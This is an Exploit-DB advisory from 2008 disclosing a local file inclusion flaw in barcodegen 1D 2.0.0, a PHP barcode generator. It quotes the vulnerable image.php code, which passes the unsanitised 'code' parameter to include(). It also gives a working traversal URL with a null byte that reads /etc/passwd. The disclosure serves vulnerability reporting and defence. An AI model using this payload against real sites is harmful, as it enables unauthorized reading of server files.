barcodegen 2.0.0 - Local File Inclusion

EDB-ID:

6558

Author:

dun

Type:

webapps

Platform:

PHP

Published:

2008-09-24

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ barcodegen <= 2.0.0 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "Barcode Generator 1D"
 #
 # Script site: http://www.barcodephp.com/
 # Download: http://www.barcodephp.com/download.php
 #
 # Vuln: 
 # http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8)
 #
 # ...
 # if(isset($_GET['code']) && isset($_GET['t']) && isset($_GET['r']) && isset($_GET['text']) && isset($_GET['f1']) 
 #    && isset($_GET['f2']) && isset($_GET['o']) && isset($_GET['a1']) && isset($_GET['a2'])) {
 #	require('config.php');
 #	require($class_dir.'/BCGColor.php');
 #	require($class_dir.'/BCGBarcode.php');
 #	require($class_dir.'/BCGDrawing.php');
 #	require($class_dir.'/BCGFont.php');
 #	if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php')) {	// LFI
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]